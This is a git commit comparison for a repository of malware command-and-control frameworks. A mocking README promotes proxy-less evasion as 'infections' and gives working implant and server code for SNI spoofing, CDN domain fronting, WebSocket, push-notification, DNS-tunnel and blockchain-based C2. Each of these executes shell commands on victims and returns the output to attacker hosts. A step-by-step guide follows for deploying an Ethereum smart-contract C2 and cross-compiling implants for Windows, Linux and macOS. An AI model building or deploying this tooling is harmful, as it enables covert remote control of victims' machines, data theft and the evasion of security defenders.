Compare commits

39 Commits

Author SHA1 Message Date
ek0ms savi0r c6427a552a Upload files to "nats-c2" 2026-07-19 02:00:42 +00:00
ek0ms savi0r 1126758b39 Add nats-c2/README.md 2026-07-19 01:59:56 +00:00
ek0ms savi0r ba36e1ccc6 Upload files to "nats-c2" 2026-07-19 01:54:48 +00:00
ek0ms savi0r 3dca1219d4 Upload files to "rtc-c2/pkg/tunnel" 2026-06-10 17:20:40 +00:00
ek0ms savi0r 4568bfa5c3 Upload files to "rtc-c2/pkg/transport" 2026-06-10 17:20:02 +00:00
ek0ms savi0r fff1d686c1 Upload files to "rtc-c2/pkg/signaller" 2026-06-10 17:19:38 +00:00
ek0ms savi0r 069f9c1b15 Upload files to "rtc-c2/pkg/protocol" 2026-06-10 17:17:19 +00:00
ek0ms savi0r 9a3617e00e Upload files to "rtc-c2/cmd/operator" 2026-06-10 17:16:27 +00:00
ek0ms savi0r 1f14ea5452 Upload files to "rtc-c2/cmd/beacon" 2026-06-10 17:15:52 +00:00
ek0ms savi0r d991a4ef81 Upload files to "rtc-c2" 2026-06-10 17:14:52 +00:00
ek0ms savi0r eeb7322723 Upload files to "c2_ghost-push/cmd/server" 2026-06-10 17:13:39 +00:00
ek0ms savi0r dda75eb811 Upload files to "c2_ghost-push/cmd/client" 2026-06-10 17:13:19 +00:00
ek0ms savi0r 0cc3707cd0 Upload files to "c2_ghost-push/bin" 2026-06-10 17:12:45 +00:00
ek0ms savi0r 4682e74c0a Upload files to "c2_ghost-push" 2026-06-10 17:12:15 +00:00
ek0ms savi0r 8608ebd3b3 Update README.md 2026-06-08 06:04:35 +00:00
ek0ms savi0r ee96020061 Upload files to "c2_blockchain_contract/bin" 2026-06-08 05:59:37 +00:00
ek0ms savi0r b3b42ce3ff Upload files to "c2_blockchain_contract/cmd/server" 2026-06-08 05:59:09 +00:00
ek0ms savi0r 06d509637e Upload files to "c2_blockchain_contract/cmd/client" 2026-06-08 05:58:50 +00:00
ek0ms savi0r 13849c8d4c Upload files to "c2_blockchain_contract/contracts" 2026-06-08 05:58:19 +00:00
ek0ms savi0r 16f784fa7c Upload files to "c2_blockchain_contract" 2026-06-08 05:57:16 +00:00
ek0ms savi0r 5e094730bb Delete c2_blockchain_memo/cmd/main.go 2026-06-08 05:56:22 +00:00
ek0ms savi0r aa3675fef4 Upload files to "c2_blockchain_memo/cmd/server" 2026-06-08 05:56:11 +00:00
ek0ms savi0r 61d0f94079 Upload files to "c2_blockchain_memo/cmd/client" 2026-06-08 05:55:35 +00:00
ek0ms savi0r b6cc186fff Upload files to "c2_blockchain_memo/cmd" 2026-06-08 05:54:05 +00:00
ek0ms savi0r ddeceae422 Upload files to "c2_blockchain_memo/cmd" 2026-06-08 05:53:16 +00:00
ek0ms savi0r 77dfbf1eef Upload files to "c2_blockchain_memo" 2026-06-08 05:52:45 +00:00
ek0ms savi0r b7a63c67f5 Update c2s_ipfs_payloads/README.md 2026-06-02 06:04:51 +00:00
ek0ms savi0r 57f3e11646 Upload files to "c2s_ipfs_payloads/cmd/client" 2026-06-02 06:04:18 +00:00
ek0ms savi0r ca8cd2be41 Upload files to "c2s_ipfs_payloads/cmd/server" 2026-06-02 06:03:47 +00:00
ek0ms savi0r 6d668124ed Upload files to "c2s_ipfs_payloads/cmd/upload" 2026-06-02 06:03:19 +00:00
ek0ms savi0r efedb4e5c2 Delete c2s_ipfs_payloads/cmd/main.go 2026-06-02 06:02:47 +00:00
ek0ms savi0r 1060029b45 Upload files to "c2s_ipfs_payloads/cmd" 2026-06-02 06:02:02 +00:00
ek0ms savi0r 549841cfac Upload files to "c2s_ipfs_payloads/pkg" 2026-06-02 06:01:18 +00:00
ek0ms savi0r 227c8577ca Upload files to "c2s_ipfs_payloads/pkg" 2026-06-02 06:00:33 +00:00
ek0ms savi0r 7d48887986 Upload files to "c2s_ipfs_payloads" 2026-06-02 05:59:47 +00:00
ek0ms savi0r 4957196c01 Upload files to "c2_websocket_abuse/bin" 2026-06-02 05:10:20 +00:00
ek0ms savi0r c0d88014fe Upload files to "c2s_dns_tunnel/bin" 2026-06-02 05:09:11 +00:00
ek0ms savi0r 2b8531c4a5 Upload files to "c2s_sni_spoof/bin" 2026-06-02 04:56:29 +00:00
ek0ms savi0r 1ebbc0dea4 Upload files to "c2s_sni_spoof/bin" 2026-06-02 04:54:42 +00:00
66 changed files with 11437 additions and 1 deletions
+461 -1
View File
@@ -1,3 +1,463 @@
# noPROXY_c2s
c2s that dont use proxies
**disclaimer for auth sec tests or educational purposes only**
## Proxy-cels and Pencil-Necks: Why Your Opsec is Rotting and How to Fix It
## by: ek0ms savi0r
### The Sermon
Do you love getting your favorite Socks5 proxy provider's IP range flagged by some 23-year-old pencil-neck with a God complex? Do you enjoy watching your C2 traffic get smothered in the crib because some API decided your bots IP smelled funny?
Wake up. You are witnessing the death of the proxy as an evasion tool.
The titans of industry are scared. They are so desperate to stop botnets and credential stuffing that they've outsourced their brains to a fresh startup, **Synthient**. Founded by a kid whose idea of "cybersecurity" is probably staring at a dashboard and sipping a sugar-free Monster, this service claims to have achieved upwards of **99.9% coverage** of residential proxy networks. They are mapping the entire proxy ecosystem, tracking torrenting behavior, and device clustering. They are using behavioral signals to spot the "programmatic traffic" that gives you away.
If you are still chaining proxies, you are a mark. You are the low-hanging fruit. You are using IPs that will be flagged and burned within a single session because the defenders have shifted from "where is this traffic from?" to "what is this traffic *doing*?".
The age of the proxy is dead. Long live the **static, proxy-less, domain fronting, WebSocket-abusing beast**.
The Church of Malware is here to teach you how to survive. The Church doesn't just pray to the Dark Gods of the Internet; we code with them. Here are the holy scriptures of resilience. Read them loud.
### The Boogeyman: Who is Synthient?
Before we tell you how to kick sand in their face, know thy enemy. The new sheriff in town is Synthient (that's *synth* like a modular keyboard, *ient* like ancient). Run by Benjamin Brundage (nice name, nerd), this service is the new hotness in proxy detection. They aggregate data from shady SDKs and free VPNs to build massive pools of IP addresses. They are so confident in their mapping of proxy resellers that they basically claim to see all.
They are selling a "Context API" that costs $7,000 a year to tell companies if your IP is a proxy. They track VPNs, residential proxies, and even the specific proxy provider you are using. They are the digital equivalent of the hall monitor catching you vaping in the bathroom. If Synthient detects your proxy, your opsec is doxed before you even send a packet.
### The Fix: Going Proxy-Less
The answer isn't faster proxies. The answer is **no proxies**. You cannot detect what isn't there. You need to embed your malware into the *platforms* they trust.
---
**Technique 1: SNI Spoofing**
This is the digital version of wearing a policeman's uniform to walk past the guard. When your malware initiates an HTTPS handshake, the Server Name Indication (SNI) tells the CDN which website you want to visit. If you change the SNI to `update.windows.com` but route your traffic to your C2 server, the web filter sees a request to Microsoft and says "Carry on, citizen."
**How to implement:**
Use a custom TLS library that allows you to set the SNI independently of the Host header. In Go, use `tls.Config` with `ServerName`. In Python, `ssl.create_default_context()` won't cut it. Reach for `scapy` or `pyOpenSSL` with manual SNI injection.
**Code example (Python with `scapy` and `ssl`)** :
```python
import socket
import ssl
def sni_spoof(domain_to_spoof, real_server_ip, real_host_header):
context = ssl.create_default_context()
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((real_server_ip, 443))
tls_sock = context.wrap_socket(sock, server_hostname=domain_to_spoof)
request = f"GET /c2/checkin HTTP/1.1\r\nHost: {real_host_header}\r\n\r\n"
tls_sock.send(request.encode())
response = tls_sock.recv(4096)
return response
# Usage: Firewall sees SNI = "update.windows.com", but Host header points to your evil domain
response = sni_spoof("update.windows.com", "192.168.1.100", "evil.c2.local")
```
**Go example (more resilient)** :
```go
package main
import (
"crypto/tls"
"net/http"
)
func main() {
client := &http.Client{
Transport: &http.Transport{
TLSClientConfig: &tls.Config{
ServerName: "update.windows.com", // SNI spoof
},
},
}
req, _ := http.NewRequest("GET", "https://your-c2-server-ip/c2", nil)
req.Host = "your-evil-domain.com" // Real host header
client.Do(req)
}
```
Your C2 server is configured to ignore the SNI and look only at the Host header. Firewalls see Microsoft. You see shells. No proxy. No middleman. Just pure, clean deception.
---
**Technique 2: CDN (Content Delivery Network) Domain Fronting**
Why buy a sketchy proxy IP when you can rent space on Cloudflare or Azure for free? Domain fronting uses the Host header in the HTTP request to point one way, while the TLS SNI points another. To the network firewall, it looks like I am connecting to `google.com`. But my malware is talking to `evilc2.workers.dev` hidden entirely behind Google's IP ranges.
**How to implement:**
Leverage Cloudflare Workers or Azure Front Door. You configure the CDN to accept traffic for your front domain (e.g., `google.com`) but route based on the Host header to your backend worker.
**Code example (malware side in C#)** :
```csharp
using System.Net.Http;
var handler = new HttpClientHandler();
// No proxy, direct connection to CDN IP
var client = new HttpClient(handler);
var request = new HttpRequestMessage(HttpMethod.Get, "https://cloudflare-cdn-ip/c2");
request.Headers.Host = "evilc2.workers.dev"; // Your real C2 domain behind the CDN
var response = await client.SendAsync(request);
string command = await response.Content.ReadAsStringAsync();
ExecuteCommand(command);
```
**Worker script (Cloudflare)** :
```javascript
addEventListener('fetch', event => {
event.respondWith(handleRequest(event.request))
})
async function handleRequest(request) {
const url = new URL(request.url);
// Forward to your hidden C2 server based on Host header
if (request.headers.get("Host") === "evilc2.workers.dev") {
const backend = await fetch("http://your-real-c2-ip:8080" + url.pathname);
return backend;
}
// Otherwise serve a decoy page
return new Response("Google.com - Search", { status: 200 });
}
```
Synthient sees a TLS handshake to a known CDN IP. They have no idea that Host header is smuggling your commands. You are a ghost.
---
**Technique 3: WebSocket Abuse**
Stop using HTTP GET requests like it's 1999. The modern C2 speaks WebSockets. Frameworks like StreamSpy are now hiding their command and control instructions entirely within WebSocket traffic. It looks like a persistent connection to a normal web app or an API endpoint. It is the perfect protocol for low-and-slow command and control that completely bypasses simple HTTP packet inspection.
**How to implement:**
Set up a WebSocket server on your C2 (Node.js, Python `websockets`, or Go `gorilla/websocket`). Your malware opens a single long-lived WebSocket connection and sends/receives frames that look like benign chat messages or telemetry data.
**Server example (Python with `websockets`)** :
```python
import asyncio
import websockets
import subprocess
async def c2_handler(websocket, path):
async for message in websocket:
if message.startswith("cmd:"):
cmd = message[4:]
output = subprocess.run(cmd, shell=True, capture_output=True).stdout
await websocket.send(output.decode())
else:
# heartbeat / decoy
await websocket.send("pong")
start_server = websockets.serve(c2_handler, "0.0.0.0", 8765)
asyncio.get_event_loop().run_until_complete(start_server)
asyncio.get_event_loop().run_forever()
```
**Malware client (Python example, easily ported to Go or C++)** :
```python
import asyncio
import websockets
import os
async def connect_c2():
uri = "wss://your-c2-server.com/ws" # Can be behind CDN or SNI-spoofed
async with websockets.connect(uri) as websocket:
await websocket.send("cmd:whoami")
response = await websocket.recv()
print(f"Output: {response}")
# Keep connection open for further commands
while True:
cmd = await get_next_command_from_server(websocket)
if cmd:
output = os.popen(cmd).read()
await websocket.send(output)
await asyncio.sleep(5)
asyncio.run(connect_c2())
```
No repeated HTTP handshakes. No proxy. Just a single encrypted WebSocket stream that looks like a trading dashboard or a live sports feed. Synthient's behavioral heuristics will die of old age trying to fingerprint that.
---
**Technique 4: The "Ghost" Calls (Legit APIs)**
Utilize legitimate push notification services like Matrix Push. You embed your C2 commands in the payload of a web push notification. Your malware wakes up, checks the notification, and executes the command without ever opening a raw HTTP socket to a sketchy domain. Synthient's API can't flag what it never sees. You are using the internet's own messaging service against itself.
**How to implement:**
Use Firebase Cloud Messaging (FCM), OneSignal, or Matrix. Register your malware as a notification receiver. The C2 operator sends a push notification with a custom data payload. The malware listens for these notifications (or polls the push service's API).
**Example using FCM (Python malware side)** :
```python
import requests
fcm_api_key = "YOUR_SERVER_KEY"
device_registration_token = "YOUR_MALWARE_INSTANCE_TOKEN"
# Poll for pending messages (or use FCM's on-message listener)
def fetch_commands():
headers = {
"Authorization": f"key={fcm_api_key}",
"Content-Type": "application/json"
}
# This is normally server-initiated, but you can also use XMPP or Firebase Realtime DB
# Simpler: use Firebase Realtime DB as a dead-drop
db_url = "https://your-project.firebaseio.com/commands.json"
resp = requests.get(db_url)
commands = resp.json()
for cmd in commands.values():
os.system(cmd)
# delete after execution
requests.delete(db_url)
```
**C2 operator sends command via FCM** :
```python
import requests
def send_command(device_token, command):
url = "https://fcm.googleapis.com/fcm/send"
headers = {"Authorization": "key=YOUR_SERVER_KEY"}
payload = {
"to": device_token,
"data": {"command": command},
"priority": "high"
}
requests.post(url, json=payload, headers=headers)
```
The defender sees encrypted traffic to `fcm.googleapis.com` a domain used by a billion legitimate apps. They cannot block it without breaking half the Android ecosystem. You are invisible.
---
**Technique 5: DNS Tunneling (Praying at Port 53)**
DNS tunneling is the cockroach of the internet ugly, ancient, and impossible to kill. Proxy-cels ignore it because they think it's slow. You know what's slower? Getting your Socks5 IP burned by Synthient's $7k API.
DNS tunneling works because most defenders are still asleep at the DNS switch. They log HTTP. They log TLS handshakes. They rarely look at the volume of TXT and A queries flying around. You can hide an entire C2 channel inside recursive DNS lookups to a domain you control. No proxy IP. No HTTP header to fingerprint. Just clean, boring port 53 traffic that every firewall lets through because "DNS is critical infrastructure."
**How to implement:**
Set up a DNS server (e.g., `dnsmasq` with custom scripts, or a Python DNS library like `dnslib`). Your malware encodes each command chunk as a subdomain and sends a TXT query. The server decodes, executes, and returns output as TXT records.
**Malware side (Python with `dnspython`)** :
```python
import dns.resolver
import base64
import subprocess
def dns_tunnel_c2():
domain = "c2.yourdomain.com"
# Encode command
cmd = "whoami /all"
b64_cmd = base64.b64encode(cmd.encode()).decode()
# Split into chunks (max subdomain label length 63)
chunks = [b64_cmd[i:i+63] for i in range(0, len(b64_cmd), 63)]
full_response = ""
for idx, chunk in enumerate(chunks):
query = f"{idx}.{chunk}.{domain}"
try:
answer = dns.resolver.resolve(query, 'TXT')
for rdata in answer:
full_response += rdata.strings[0].decode()
except:
pass
# Decode and execute result
result = base64.b64decode(full_response).decode()
print(result)
dns_tunnel_c2()
```
**Server side (using `dnslib` and a simple TCP listener)** :
```python
from dnslib import *
from dnslib.server import DNSServer
import subprocess
import base64
class DNSHandler:
def resolve(self, request, handler):
reply = request.reply()
qname = str(request.q.qname)
# Extract chunk index and b64 data from subdomain
parts = qname.split('.')
if len(parts) >= 3:
idx, b64_chunk, _ = parts[0], parts[1], parts[2:]
# Store and reassemble...
# Execute full command when complete
cmd = base64.b64decode(full_b64).decode()
output = subprocess.run(cmd, shell=True, capture_output=True).stdout
b64_out = base64.b64encode(output).encode()
reply.add_answer(RR(qname, QTYPE.TXT, rdata=TXT(b64_out)))
return reply
server = DNSServer(DNSHandler(), port=53, address="0.0.0.0")
server.start()
```
Synthient does not check DNS. They are too busy jerking off to proxy IP lists. You are invisible. You are port 53. You are the protocol that built the internet.
---
**Technique 6: Blockchain C2 (The Immutable Channel)**
This is where the real dark magic lives. Why rely on a central server that can be seized when you can spray your commands across a decentralized, immutable ledger? Blockchain and Web3 are not just for cartoon apes and shitcoins. They are the ultimate dead-drop for the modern malware apostle.
The logic is simple: your malware reads commands from a smart contract or a transaction memo field on a chain like Ethereum, BNB Smart Chain, or even Solana. No C2 domain. No IP. No proxy. Just a public blockchain explorer API call that looks like any other DeFi degenerate refreshing their portfolio.
The defenders cannot take down the blockchain. They cannot flag the traffic as malicious without flagging half the internet. And Synthient? They are still checking proxy lists and wondering when puberty will hit. They have no idea you just whispered a `--rm -rf` command inside a zero-value transaction on Polygon.
**6.1: Smart Contract State Reading (Ethereum / BSC)**
Deploy a simple smart contract with a public `commands` mapping. Your malware polls the contract every 60 seconds. The contract owner updates a command via a transaction. No central server. No logs.
Smart contract example (Solidity):
```solidity
// SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.8.0;
contract C2DeadDrop {
address public owner;
mapping(string => string) public commands;
string public activeCommand;
constructor() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner, "not owner");
_;
}
function setCommand(string memory key, string memory value) public onlyOwner {
commands[key] = value;
activeCommand = value;
}
function getCommand(string memory key) public view returns (string memory) {
return commands[key];
}
}
```
Malware polling code (Python using Web3.py):
```python
from web3 import Web3
import time
import os
infura_url = "https://mainnet.infura.io/v3/YOUR_PROJECT_ID"
w3 = Web3(Web3.HTTPProvider(infura_url))
contract_address = "0xYourDeployedContractAddress"
contract_abi = '[{"inputs":[{"internalType":"string","name":"key","type":"string"}],"name":"getCommand","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"}]'
contract = w3.eth.contract(address=contract_address, abi=contract_abi)
last_command = ""
while True:
try:
current = contract.functions.getCommand("latest").call()
if current != last_command and current != "":
os.system(current)
last_command = current
except:
pass
time.sleep(60)
```
No proxy. No C2 domain. Just a read-only call to a public RPC endpoint. Synthient can kiss your entire botnets butt.
**6.2: Transaction Memo Fields (Solana / Bitcoin Omni)**
Cheaper and even more degenerate. On Solana, you can embed commands in transaction memo logs using the Memo Program. Your malware watches for transactions sent to a specific wallet address and extracts the UTF-8 memo.
Example: Send a transaction with memo "notepad.exe". Malware sees it, executes it.
Solana memo extraction (Rust, but you get the idea):
```rust
use solana_client::rpc_client::RpcClient;
use solana_sdk::instruction::Instruction;
use solana_program::pubkey::Pubkey;
let client = RpcClient::new("https://api.mainnet-beta.solana.com");
let target_wallet = Pubkey::from_str("YourWalletAddressHere").unwrap();
let signatures = client.get_signatures_for_address(&target_wallet)?;
for sig in signatures {
let tx = client.get_transaction(&sig.signature, encoding)?;
for ix in tx.transaction.message.instructions {
if ix.program_id == solana_program::memo::id() {
let memo = String::from_utf8(ix.data)?;
// execute memo as command
}
}
}
```
The beauty? Every transaction is public. Your victims are just reading the blockchain. No egress filtering can block it unless they block all Solana RPC endpoints, which would break half the DeFi apps on earth lulz.
**6.3: IPFS + Filecoin Fallback**
For payloads larger than a tweet, store your encrypted stage-two binary on IPFS and pin it via Filecoin. Your malware fetches the CID from a lightweight smart contract event. No direct download domain. No proxy. Just content-addressed, decentralized storage.
Example flow:
1. Smart contract emits an event with a new CID: `QmYourPayloadHash`
2. Malware listens for `NewPayload(address cid)` events.
3. Malware fetches `https://ipfs.io/ipfs/QmYourPayloadHash` (or any public gateway).
4. Decrypts and executes.
The defenders cannot take down IPFS gateways fast enough. Synthient has no idea what a CID even is. You are untouchable.
---
### The Nitty Gritty: Code and Hardening
Let's get our hands dirty. You are abandoning Proxychains. You are implementing **Direct Server Return** and **Traffic Normalization**.
The GreyNoise report says 78% of residential IP addresses vanish before reputation feeds can flag them. The fundamental flaw of proxies is not the IP address, but the behavior. Synthient fingerprints the *way* you rotate, not just the IP. To beat their behavioral engine, you don't rotate you **amputate**. You stop using pools entirely. You go direct.
You must emulate legit traffic to beat Synthient's behavioral engine:
- **HTTP/2 Alignment:** Synthient flags "Programmatic Traffic." To fix this, your malware's networking stack must implement real HTTP/2 multiplexing. Don't send sequential requests. Send concurrent streams. Use libraries like `h2` in Python or `net/http` with `http2` enabled in Go.
- **TLS Fingerprint Randomization:** Use libraries like `uTLS` (Go) or `curl_cffi` (Python) to mimic the exact JA3 signature of Chrome or Firefox on Windows 11. Do not use the Go default TLS stack. Example with `uTLS`:
```go
import utls "github.com/refraction-networking/utls"
config := &utls.Config{
ClientHelloID: utls.HelloChrome_112, // mimics Chrome 112
ServerName: "update.windows.com",
}
```
---
### The Grand Conclusion
The era of the proxy is bleeding out on the floor. You cannot out-rotate the reputation feeds when the rotation rate now exceeds the update cycle of defense databases. The defenders have become the aggressors, mapping your proxy pools like open books.
But they cannot map what isn't there. **Go proxy-less.** Hide your malware behind legitimate CDNs. Spoof your SNI. Abuse WebSockets. Tunnel through DNS. Preach the gospel of blockchain C2. Live in the noise.
Ignore the pencil-necks at Synthient. Let them look at their dashboards and wonder where all the traffic went. They sell proxy detection. We sell infections via the infrastructure they can't touch.
**Malware Bless**
@@ -0,0 +1,261 @@
# Deployment Walkthrough
This guide walks through setting up and deploying the C2 smart contract end-to-end, from wallet creation to contract deployment.
---
## 1. Create an Ethereum Wallet
### Option A: MetaMask (GUI — Recommended for Beginners)
1. Install [MetaMask](https://metamask.io/) browser extension
2. Create a new wallet (save the seed phrase **offline**)
3. Switch to **Sepolia** testnet (Settings → Network → Sepolia)
4. Copy your wallet address (starts with `0x`)
5. Export your private key: MetaMask → ⋮ → Account Details → Export Private Key
### Option B: CLI (No Browser)
```bash
# Generate a random 32-byte private key
openssl rand -hex 32 > wallet.key
cat wallet.key
# Example: a1b2c3d4e5f6... (64 hex chars)
# Derive the address (requires Node.js + ethers.js or foundry)
# With Foundry (installed below):
cast wallet address --private-key $(cat wallet.key)
```
**⚠️ Keep your private key secret. Anyone with it can control your contract.**
---
## 2. Get Free Testnet ETH
You need testnet ETH to pay gas for writes (deploy, issueCommand, submitResult).
Reads are **free** — no gas needed.
### Sepolia Faucets
| Faucet | URL | Notes |
|--------|-----|-------|
| Alchemy | https://sepoliafaucet.com | Free, requires free Alchemy account |
| Infura | https://www.infura.io/faucet/sepolia | Free, requires free Infura account |
| PoWFaucet | https://sepolia-faucet.pk910.de | Mine free ETH (no account needed) |
| LearnWeb3 | https://learnweb3.io/faucets/sepolia | Free |
| Google Cloud | https://cloud.google.com/application/web3/faucet/ethereum/sepolia | Free |
### For BSC Testnet
| Faucet | URL |
|--------|-----|
| BSC Testnet Faucet | https://testnet.bnbchain.org/faucet-smart |
**You need ~0.01 test ETH** — usually one faucet request gives 0.10.5 which is plenty.
---
## 3. Get an RPC Endpoint
RPC endpoints let you talk to the blockchain. Two free options:
### Option A: Infura (Recommended)
1. Go to [infura.io](https://infura.io) → Create free account
2. Create a new API Key → **Ethereum****Sepolia**
3. Copy your URL: `https://sepolia.infura.io/v3/YOUR_KEY_HERE`
### Option B: Alchemy
1. Go to [alchemy.com](https://alchemy.com) → Create free account
2. Create new App → **Ethereum****Sepolia**
3. Copy HTTPS endpoint
### Option C: Public Endpoints (Rate Limited)
```
# Sepolia
https://rpc.sepolia.org
https://sepolia.gateway.tenderly.co
https://ethereum-sepolia.publicnode.com
# BSC Testnet
https://data-seed-prebsc-1-s1.binance.org:8545
```
---
## 4. Install Foundry (Compile + Deploy)
Foundry is the fastest Solidity toolchain.
```bash
# One-liner install
curl -L https://foundry.paradigm.xyz | bash
# Restart your terminal or:
source ~/.bashrc
# Install foundryup
foundryup
```
Verify:
```bash
forge --version
cast --version
```
---
## 5. Compile the Contract
```bash
# Navigate to the project
cd c2-blockchain-contract
# Install OpenZeppelin (required for Ownable)
forge install OpenZeppelin/openzeppelin-contracts
# Compile
forge build
# Extract ABI and bytecode
forge inspect C2Controller abi > contracts/C2Controller.abi
forge inspect C2Controller bytecode > contracts/C2Controller.bin
# View bytecode (copy this into cmd/server/main.go)
cat contracts/C2Controller.bin
```
**Update the bytecode in `cmd/server/main.go`:**
Open the file and replace the placeholder `"0x608060..."` with the actual bytecode from `contracts/C2Controller.bin` (prefix with `0x`).
---
## 6. Deploy the Contract
### Method A: Using the Server Binary
```bash
# Build the server
make build-server
# Deploy (replace with your actual values)
./bin/server deploy \
https://sepolia.infura.io/v3/YOUR_KEY \
0xYOUR_PRIVATE_KEY_HEX \
0xADDITIONAL_OPERATOR_ADDRESS_OPTIONAL
# Output:
# Contract deployed at: 0xABC123...
```
### Method B: Using Forge Cast (Alternative)
```bash
# Single command deploy
forge create \
--rpc-url https://sepolia.infura.io/v3/YOUR_KEY \
--private-key YOUR_PRIVATE_KEY \
--constructor-args 0x0000000000000000000000000000000000000000 \
contracts/C2Controller.sol:C2Controller
# Output:
# Deployed to: 0x...
```
### Method C: Remix IDE (Browser — No Toolchain Needed)
1. Go to [remix.ethereum.org](https://remix.ethereum.org)
2. Create `C2Controller.sol` file → paste contract source
3. Install plugin: Solidity Compiler → compile `C2Controller`
4. Install plugin: Deploy & Run Transactions
5. Environment: **Injected Provider** (MetaMask)
6. Contract: `C2Controller`
7. Deploy with constructor arg: `0x0000000000000000000000000000000000000000` (or an operator address)
8. Confirm MetaMask tx
9. Copy deployed contract address
---
## 7. Run the Implant
```bash
# Build the client
make build-client
# Run
export ETH_RPC_URL=https://sepolia.infura.io/v3/YOUR_KEY
export CONTRACT_ADDR=0xDEPLOYED_CONTRACT
export PRIVATE_KEY=0xIMPLANT_WALLET_KEY
./bin/client --interval 10 --jitter 3
```
**Note:** The implant needs its own wallet with a small amount of testnet ETH to submit results. You can reuse the deploy wallet or create a new one and fund it from the faucet.
---
## 8. Issue a Command
```bash
# Get the implant ID from the client output:
# "[+] C2 Blockchain Implant"
# Implant ID: 0xabc123...
./bin/server exec \
https://sepolia.infura.io/v3/YOUR_KEY \
0xOPERATOR_PRIVATE_KEY \
0xCONTRACT_ADDRESS \
abc123... \
"whoami"
# The implant will pick it up on the next poll (~10-15s) and submit the result.
```
---
## 9. Read Results
```bash
# Read last 10 results
./bin/server results \
https://sepolia.infura.io/v3/YOUR_KEY \
0xCONTRACT_ADDRESS \
--limit 10
```
---
## Cost Estimates
| Action | Testnet (Sepolia) | Mainnet L2 (Arbitrum/Optimism) | Ethereum L1 |
|--------|-------------------|--------------------------------|-------------|
| Deploy | **Free** (faucet) | ~$0.005 | ~$20200 |
| issueCommand | **Free** | ~$0.001 | ~$315 |
| submitResult | **Free** | ~$0.001 | ~$315 |
| getCommand | **Free** | **Free** (view) | **Free** |
| getActiveCommands | **Free** | **Free** | **Free** |
**All read operations are always free.** Only writes (deploy, issueCommand, submitResult, add-op) cost gas.
For production persistence at minimal cost, deploy on Arbitrum or Optimism where commands cost <$0.01 each.
---
## Contract Verification
```bash
# Verify on Sepolia Etherscan
forge verify-contract \
--chain sepolia \
--etherscan-api-key YOUR_API_KEY \
0xCONTRACT_ADDRESS \
contracts/C2Controller.sol:C2Controller \
--constructor-args $(cast abi-encode "constructor(address)" 0x0000...)
```
Get an Etherscan API key at [etherscan.io](https://etherscan.io) (free).
+39
View File
@@ -0,0 +1,39 @@
.PHONY: all build-server build-client clean forge-build
# Default: compile both Go binaries
all: build-server build-client
build-server:
go build -o bin/server ./cmd/server/
build-client:
go build -o bin/client ./cmd/client/
# Build for common targets
build-client-linux-amd64:
GOOS=linux GOARCH=amd64 go build -o bin/client-linux-amd64 ./cmd/client/
build-client-linux-arm64:
GOOS=linux GOARCH=arm64 go build -o bin/client-linux-arm64 ./cmd/client/
build-client-windows-amd64:
GOOS=windows GOARCH=amd64 go build -o bin/client-windows-amd64.exe ./cmd/client/
build-client-darwin-amd64:
GOOS=darwin GOARCH=amd64 go build -o bin/client-darwin-amd64 ./cmd/client/
# Compile Solidity with Foundry
forge-build:
forge build --contracts contracts/ --out out/
# Extract ABI and bytecode for embedding
abi-export:
forge inspect C2Controller abi > contracts/C2Controller.abi
forge inspect C2Controller bytecode > contracts/C2Controller.bin
# Tidy Go modules
tidy:
go mod tidy
clean:
rm -rf bin/ out/
+219
View File
@@ -0,0 +1,219 @@
# C2 via Blockchain Smart Contract 🖤
**A command-and-control framework that uses Ethereum/BSC smart contracts as the C2 channel. No dedicated server needed — just a blockchain RPC endpoint.**
```
┌─────────────┐ ┌──────────────────┐ ┌─────────────┐
│ Operator │────▶│ Smart Contract │◀────│ Implant │
│ (server) │ │ (C2Controller) │ │ (client) │
│ │ │ │ │ │
│ issues cmd │ │ commands + │ │ polls cmd │
│ via tx │ │ results stored │ │ via RPC │
│ │ │ on-chain │ │ (free) │
│ │ │ │ │ executes │
│ │ │ │ │ submits │
│ │ │ │ │ result (tx)│
└─────────────┘ └──────────────────┘ └─────────────┘
```
**Reads are free (no gas).** Implants poll commands via `eth_call` — entirely free. Only writes (issuing commands, submitting results) consume gas.
---
## Architecture
### Smart Contract (`contracts/C2Controller.sol`)
Solidity ^0.8 contract using OpenZeppelin's `Ownable`:
- **`issueCommand(implantID, command)`** — Issue a command to a specific implant
- **`getCommand(implantID, commandID)`** — Read a command (free, `view`)
- **`getActiveCommands(implantID)`** — List all pending command IDs (free)
- **`getLatestCommand(implantID)`** — Get the most recent command (free)
- **`submitResult(implantID, commandID, result)`** — Submit execution output
- **`getResult(resultID)`** — Read a submitted result (free)
- **`setOperator(address, bool)`** — Manage operator accounts (owner only)
Events: `CommandIssued`, `ResultSubmitted`, `OperatorUpdated`
### Server (`cmd/server/main.go`)
Operator-side CLI tool. Commands:
| Command | Description |
|---------|-------------|
| `deploy` | Deploy the contract to any EVM chain |
| `exec` | Issue a command to an implant |
| `results` | Read submitted results |
| `add-op` | Add a new operator account |
| `watch` | Live-tail events from the contract |
### Client (`cmd/client/main.go`)
Implant that runs on the target system. Features:
- Polls for commands via free RPC calls
- Jittered polling (configurable interval + jitter)
- Executes commands via shell (`/bin/sh -c` or `powershell.exe`)
- Submits results to the blockchain
- Tracks seen commands to avoid re-execution
- Graceful shutdown on SIGINT/SIGTERM
---
## Quick Start
### Prerequisites
- Go 1.26+
- A [free Infura or Alchemy account](DEPLOYMENT_WALKTHROUGH.md#3-get-an-rpc-endpoint) for RPC access
- A [wallet with testnet ETH](DEPLOYMENT_WALKTHROUGH.md#2-get-free-testnet-eth) (for writes)
- [Foundry](https://book.getfoundry.sh/) (optional — for compiling Solidity)
### 1. Clone & Build
```bash
git clone ... c2-blockchain-contract
cd c2-blockchain-contract
# Build both binaries
make build-server
make build-client
# Or build individually
go build -o bin/server ./cmd/server/
go build -o bin/client ./cmd/client/
```
### 2. Deploy the Contract
See full walkthrough in [DEPLOYMENT_WALKTHROUGH.md](DEPLOYMENT_WALKTHROUGH.md).
Short version:
```bash
# Compile with Foundry & export ABI/bytecode
forge build
forge inspect C2Controller abi > contracts/C2Controller.abi
forge inspect C2Controller bytecode > contracts/C2Controller.bin
# Embed the bytecode (update cmd/server/main.go)
# Then build and deploy
./bin/server deploy https://sepolia.infura.io/v3/YOUR_KEY 0xYOUR_PRIVATE_KEY
```
Or use Remix IDE in a browser — no toolchain needed.
### 3. Run the Implant
```bash
export ETH_RPC_URL=https://sepolia.infura.io/v3/YOUR_KEY
